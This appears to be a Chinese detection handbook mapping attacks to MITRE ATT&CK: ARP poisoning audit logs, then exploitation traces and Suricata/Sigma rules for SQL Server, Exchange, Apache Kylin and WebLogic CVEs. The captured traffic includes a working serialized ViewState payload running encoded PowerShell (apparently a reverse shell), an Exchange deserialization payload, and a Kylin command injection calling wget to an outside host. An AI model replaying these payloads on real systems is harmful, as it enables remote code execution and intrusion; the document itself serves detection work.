攻击者可能会被动地等待一个ARP请求,以毒害请求设备的ARP缓存。攻击者可能会用他们的MAC地址进行回复,从而欺骗受害者,让他们相信他们正在与预定的网络设备进行通信。攻击者要毒害ARP缓存,他们的回复必须比合法IP地址所有者的回复快。攻击者也可以发送一个无偿的ARP回复,恶意地向本地网段的所有设备宣布某个IP地址的所有权。
ARP协议是无状态的,不需要认证。因此,设备可能会错误地添加或更新其ARP缓存中的IP地址的MAC地址。
攻击者可能利用ARP缓存中毒作为中间人(MiTM)网络流量的一种手段。这种活动可能被用来收集或转发数据,如证书,特别是那些通过不安全的、未加密的协议发送的数据。
## 测试案例
linux下arp命令执行
ARP -A,查询系统中缓存的ARP表。ARP表用来维护IP地址与MAC地址的一一对应。
## 检测日志
linux audit日志
## 测试复现
暂无
## 测试留痕
```
yml
type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null)
type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a"
type=CWD msg=audit(1604994496.155:92733): cwd="/home/wardog"
type=PATH msg=audit(1604994496.155:92733): item=0 name="/usr/sbin/arp" inode=13181 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1604994496.155:92733): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1604994496.155:92733): proctitle=617270002D61
type=SYSCALL msg=audit(1604994496.155:92734): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25163720 a2=558e25160800 a3=558e2500a010 items=2 ppid=29002 pid=1632 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="grep" exe="/bin/grep" key=(null)
type=EXECVE msg=audit(1604994496.155:92734): argc=3 a0="grep" a1="-v" a2="^?"
type=CWD msg=audit(1604994496.155:92734): cwd="/home/wardog"
type=PATH msg=audit(1604994496.155:92734): item=0 name="/bin/grep" inode=61 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1604994496.155:92734): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1604994496.155:92734): proctitle=67726570002D76005E3F
```
## 检测规则/思路
检测audit日志中arp命令的使用情况。
```
yml
type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null)
type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a"
```
### 建议
监测网络流量,看是否有不寻常的ARP流量,无偿的ARP回复可能是可疑的。
考虑收集各端点ARP缓存的变化,以发现ARP中毒的迹象。例如,如果多个IP地址映射到一个MAC地址,这可能是ARP缓存被投毒的一个指标。
## 参考推荐
MITRE-ATT&CK-T1557-002
测试留痕数据来源
================================================
FILE: README.md
================================================
# Threat-Analysis-Handbook
## 简介
Threat-Analysis-Handbook目前已覆盖105个TID,332个技术点。主要涵盖Web、Windows AD、Linux,涉及ATT&CK技术、模拟测试、检测思路、检测所需数据源等。
## 规则说明
Web方面检测规则为Suricata、Sigma两种格式,终端检测规则为Sigma格式为主。
## ATTCK矩阵覆盖情况

================================================
FILE: Web/2020/T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md
================================================
# T1190-CVE-2020-0618-SQL_server远程代码执行漏洞---------
## 来自ATT&CK的描述---------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。---------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。---------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。---------
## 测试案例---------
SQL Server Reporting Services是依托于SQL Server的一个附属组件。其作用是利用SQL Server 中的数据,便捷的生成用户友好的图表。该服务默认是内部服务,默认开放在localhost的80端口。---------
该漏洞需要经过身份验证后,攻击者向SQL Server 的报告服务(Reporting Services) 发送特制请求进行触发。攻击成功可获得SQL Server服务的对应控制权限。---------
影响范围:---------
```
yml
SQL Server 2016 Service Pack 2(GDR) 13.0.5026.0 - 13.0.5101.9 KB4505220
SQL Server 2016 Service Pack 2 CU11 13.0.5149.0 - 13.0.5598.27 KB4527378
SQL Server 2014 Service Pack 3 (GDR) 12.0.6024.0 - 12.0.6108.1 KB4505218
Server 2014 Service Pack 2 CU4 12.0.6205.1 - 12.0.6329.1 KB4500181
SQL Server 2012 Service Pack 4 (QFE) 111.0.7001.0 - 11.0.7462.6 KB4057116---------
```
- --------
## 检测日志---------
HTTP---------
## 测试复现---------
### 利用POC---------
```
yml
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X---------
NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=---------
```
- --------
## 测试留痕---------
```
yml
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: 10.16.45.164:43452
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4931
Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHIAAADQANAAigAAAAAAAABYAAAAGgAaAFgAAAAAAAAAcgAAABAAEABaAQAANYKK4gYBsR0AAAAPZbeJ4F7Hurhq3KRbofjXh0EAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZNI4oLUbq8WOw+I6xP4TBQEBAAAAAAAAPxs79Pus1gEZGK1/9HV2LQAAAAACAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEAAQAeAFcASQBOAC0AQQBJAFUAQwBPAFUASwBJAFEANQBBAAQAHgBXAEkATgAtAEEASQBVAEMATwBVAEsASQBRADUAQQADAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEABwAIAD8bO/T7rNYBBgAEAAIAAAAAAAAAAAAAAPpOCRDGkg49ccL4zPkP3QI=---------
__VIEWSTATE=&NavigationCorrector%24PageState=NeedsCorrection&NavigationCorrector%24ViewState=%2FwEynBwAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAA4govYyBwb3dlcnNoZWxsLmV4ZSAtZW5jb2RlZENvbW1hbmQgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQTNBRElBTGdBeEFEWUFMZ0F4QURBQU1RQXVBREVBTlFBMkFDSUFMQUEwQURVQU5nQTNBQ2tBT3dBa0FITUFkQUJ5QUdVQVlRQnRBQ0FBUFFBZ0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCSEFHVUFkQUJUQUhRQWNnQmxBR0VBYlFBb0FDa0FPd0JiQUdJQWVRQjBBR1VBV3dCZEFGMEFKQUJpQUhrQWRBQmxBSE1BSUFBOUFDQUFNQUF1QUM0QU5nQTFBRFVBTXdBMUFId0FKUUI3QURBQWZRQTdBSGNBYUFCcEFHd0FaUUFvQUNnQUpBQnBBQ0FBUFFBZ0FDUUFjd0IwQUhJQVpRQmhBRzBBTGdCU0FHVUFZUUJrQUNnQUpBQmlBSGtBZEFCbEFITUFMQUFnQURBQUxBQWdBQ1FBWWdCNUFIUUFaUUJ6QUM0QVRBQmxBRzRBWndCMEFHZ0FLUUFwQUNBQUxRQnVBR1VBSUFBd0FDa0Fld0E3QUNRQVpBQmhBSFFBWVFBZ0FEMEFJQUFvQUU0QVpRQjNBQzBBVHdCaUFHb0FaUUJqQUhRQUlBQXRBRlFBZVFCd0FHVUFUZ0JoQUcwQVpRQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVZBQmxBSGdBZEFBdUFFRUFVd0JEQUVrQVNRQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQUtRQXVBRWNBWlFCMEFGTUFkQUJ5QUdrQWJnQm5BQ2dBSkFCaUFIa0FkQUJsQUhNQUxBQXdBQ3dBSUFBa0FHa0FLUUE3QUNRQWN3QmxBRzRBWkFCaUFHRUFZd0JyQUNBQVBRQWdBQ2dBYVFCbEFIZ0FJQUFrQUdRQVlRQjBBR0VBSUFBeUFENEFKZ0F4QUNBQWZBQWdBRThBZFFCMEFDMEFVd0IwQUhJQWFRQnVBR2NBSUFBcEFEc0FKQUJ6QUdVQWJnQmtBR0lBWVFCakFHc0FNZ0FnQUNBQVBRQWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QWdBQ3NBSUFBaUFGQUFVd0FnQUNJQUlBQXJBQ0FBS0FCd0FIY0FaQUFwQUM0QVVBQmhBSFFBYUFBZ0FDc0FJQUFpQUQ0QUlBQWlBRHNBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBSUFBOUFDQUFLQUJiQUhRQVpRQjRBSFFBTGdCbEFHNEFZd0J2QUdRQWFRQnVBR2NBWFFBNkFEb0FRUUJUQUVNQVNRQkpBQ2tBTGdCSEFHVUFkQUJDQUhrQWRBQmxBSE1BS0FBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBeUFDa0FPd0FrQUhNQWRBQnlBR1VBWVFCdEFDNEFWd0J5QUdrQWRBQmxBQ2dBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBTEFBd0FDd0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFMZ0JNQUdVQWJnQm5BSFFBYUFBcEFEc0FKQUJ6QUhRQWNnQmxBR0VBYlFBdUFFWUFiQUIxQUhNQWFBQW9BQ2tBZlFBN0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCREFHd0Fid0J6QUdVQUtBQXBBQT09BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs%3DHTTP/1.1 200 OK
Cache-Control: private
Content-Length: 21744
Content-Type: text/html; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
X-AspNet-Version: 4.0.30319
X-Content-Type-Options: nosniff
Date: Wed, 28 Oct 2020 07:28:38 GMT---------
---------
---------
- ...............
---------
```
- --------
## 检测规则/思路---------
### Suricata规则---------
```
s
alert http any any -> any any (msg:"CVE-2020-0618-Sql-server远程代码执行";flow:established,to_server;content:"POST";http_method;content:"/ReportServer/pages/ReportViewer.aspx";http_uri;content:"NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=";http_client_body;reference:url,www.cnblogs.com/8gman/p/12323273.html;classtype:web-application-attck;sid:3002021;rev:1;)---------
```
- --------
### 建议---------
流量+安全设备比较容易检测到此攻击行为。---------
## 参考推荐---------
MITRE-ATT&CK-T1190---------
---------
CVE-2020-0618 SQL Server远程代码执行---------
---------
(CVE-2020-0618)sql2012远程代码执行漏洞修复---------
================================================
FILE: Web/2020/T1190-CVE-2020-0688-Exchange漏洞利用检测.md
================================================
# T1190-CVE-2020-0688漏洞利用检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-0688漏洞
Microsoft Exchange Server是微软公司一套支持多种电子邮件网络协议的电子邮件服务组件,除传统的电子邮件的存取、储存、转发作用外,在新版本的产品中亦加入了一系列辅助功能,如语音邮件、邮件过滤筛选和OWA(基于Web的电子邮件存取)。
漏洞起于Microsoft Exchange服务器在安装时并没有正确创建唯一密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据,使攻击者可以在Exchange Control Panel web应用上执行任意.net代码。
## 测试案例
具体复测可以参考
- CVE-2020-0688:Exchange Server使用固定加密密钥远程代码执行漏洞修复通告:
- --------------------------------------------------------------------------------------------
- CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现:
## 检测日志
HTTP流量、Windows sysmon日志、IIS日志、exchange日志
## 测试复现
可参考上述测试案例
## 测试留痕
HTTP流量检测规则基于payload关键词进行检测
Windows sysmon日志检测规则基于payload关键词检测
IIS日志检测规则,留痕如下:
```
yml
2020-03-09 17:16:50 ::1 POST /owa/auth.owa &CorrelationID=;&cafeReqId=9cff6edd-19a9-43c0-bdd2-a94adef6dd0c; 443 HealthMailbox062c8b451f3a4e21aa98fd88e45f499e@mail163.com ::1 Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+MSEXCHMON;+ACTIVEMONITORING;+OWACTP) - 302 0 0 0
2020-03-09 17:16:58 172.*.*.27 GET /ecp/default.aspx __VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4LJ%2F5i3bVSrOTrkun3pNej4tluDK0%3D&CorrelationID=;&cafeReqId=e0874638-b142-4c77-84c1-c0434137e691; 443 limou 10.0.254.139 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:73.0)+Gecko/20100101+Firefox/73.0 - 500 0 0 1502
```
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2020-0688 Exchange Exploitation via Web Log
id: fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
logsource:
category: webserver
detection:
selection1:
cs-method: 'GET'
c-uri|contains:
- '/ecp/'
- '/owa/'
selection2:
c-uri|contains: '__VIEWSTATE='
condition: selection1 and selection2
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
tags:
- attack.initial_access
- attack.t1190
level: critical
```
```
yml
title: CVE-2020-0688 Exploitation via Eventlog
id: d6266bf5-935e-4661-b477-78772735a7cb
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
tags:
- attack.initial_access
- attack.t1190
logsource:
product: windows
service: application
detection:
selection1:
EventID: 4
Source: MSExchange Control Panel
Level: Error
selection2:
- '*&__VIEWSTATE=*'
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
```
```
yml
title: CVE-2020-0688 Exploitation IIS Eventlog
id: d6266bf5-935e-4661-b477-78772735a7cb
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
tags:
- attack.initial_access
- attack.t1190
logsource:
product: windows
service: IIS
detection:
selection1:
cs-method: 'POST'
c-uri|contains: '/owa/auth.owa'
selection2:
cs-method: 'GET'
c-uri|contains: '__VIEWSTATEGENERATOR=* __VIEWSTATE='
timeframe: 3s #可根据实际情况调整
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
SIGMA rules
在MICROSOFT EXCHANGE SERVER上检测CVE-2020-0688远程执行代码漏洞
================================================
FILE: Web/2020/T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md
================================================
# T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache Kylin最早由eBay于2013创建并且开源,2015年成为Apache基金会的顶级项目。他是目前大数据领域应用非常广泛的开源分布式的分析型数据仓库,能够提供提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)能力。近年来,大数据行业方兴未艾,Apache Kylin被国内外的很多大型互联网企业广泛应用,被业界称为大数据分析界的“神兽”。
Kylin 系统提供了一个前后端分离的 WEB UI,用户可以在上面管理项目、创建模型、分析数据等。系统提供了一组系统诊断接口,用于在发生故障时获取项目、任务、操作系统的诊断信息,方便调试。
漏洞在于其中两个接口没有对输入参数做安全检查,并且在后续使用过程中拼接到了一个字符串中作为系统命令执行。黑客可以通过构造恶意参数值调用该接口,实现远程执行任意系统命令,获得运行 Apache Kylin 系统的操作系统账号权限。
调用这个两个漏洞接口,需要有账号能够登陆 WEB 系统,但因为该 WEB 系统在安装完成后或部署 docker 容器后会有一个默认管理员账号 admin,并且会设置固定的默认密码 “KYLIN”,如果管理员没有特意修改,则黑客可以直接登陆并利用漏洞。也可能被通过其他方式得到账号或Session的黑客或内鬼利用获得更高权限。
## 检测日志
HTTP
## 测试复现
参考文章:
## 测试留痕
```
yml
GET /kylin/api/diag/project/%7c%7cwget%20qsm6epow3y6ajjhj4vi4mmkc339txi.burpcollaborator.net%7c%7c/download HTTP/1.1
Host: 10.16.45.164:7070
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.107.19:7070/kylin/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: project=%22learn_kylin%22; JSESSIONID=9AC41F447D7504D31753F5D099A4157D; a=1; PHPSESSID=lodt0vr5t8b8rknhihm5ih04s0; zbx_sessionid=f959c1b9463c060987da90c5f916633f; tab=0
Connection: close
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞";flow:established,to_server;content:"GET";http_method;content:"/kylin/api/diag/project";pcre:"/download/";http_uri;reference:url,www.suphp.cn/anquanke/67/210867.html;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
流量研判,请结合状态码及返回内容进行研判。
## 参考推荐
MITRE-ATT&CK-T1190
Apache Kylin 远程命令执行漏洞(CVE-2020-13925)
CVE-2020-13925漏洞复现
================================================
FILE: Web/2020/T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md
================================================
# T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
### 0x1 影响版本
Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
### 0x2 漏洞详情
可参考:
# Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
# CVE-2020-14882 weblogic 未授权命令执行复现
## 检测日志
